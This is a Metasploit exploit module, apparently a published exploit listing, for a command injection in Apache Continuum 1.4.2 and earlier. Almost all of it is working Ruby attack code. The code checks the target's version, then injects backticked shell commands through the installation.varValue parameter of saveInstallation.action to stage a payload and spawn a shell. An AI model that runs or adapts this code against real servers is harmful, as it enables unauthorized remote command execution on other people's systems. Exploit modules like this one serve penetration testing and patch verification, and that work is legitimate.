Apache Continuum 1.4.2 Arbitrary Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Continuum Arbitrary Command Execution',  
'Description' => %q{  
This module exploits a command injection in Apache Continuum <= 1.4.2.  
By injecting a command into the installation.varValue POST parameter to  
/continuum/saveInstallation.action, a shell can be spawned.  
},  
'Author' => [  
'David Shanahan', # Proof of concept  
'wvu' # Metasploit module  
],  
'References' => [  
%w{EDB 39886}  
],  
'DisclosureDate' => 'Apr 6 2016',  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X86_64],  
'Privileged' => false,  
'Targets' => [  
['Apache Continuum <= 1.4.2', {}]  
],  
'DefaultTarget' => 0  
))  
  
register_options([  
Opt::RPORT(8080)  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/continuum/about.action'  
)  
  
if res && res.body.include?('1.4.2')  
CheckCode::Appears  
elsif res && res.code == 200  
CheckCode::Detected  
else  
CheckCode::Safe  
end  
end  
  
def exploit  
print_status('Injecting CmdStager payload...')  
execute_cmdstager(flavor: :bourne)  
end  
  
def execute_command(cmd, opts = {})  
send_request_cgi(  
'method' => 'POST',  
'uri' => '/continuum/saveInstallation.action',  
'vars_post' => {  
'installation.name' => Rex::Text.rand_text_alpha(8),  
'installation.type' => 'jdk',  
'installation.varValue' => '`' + cmd + '`'  
}  
)  
end  
  
end  
`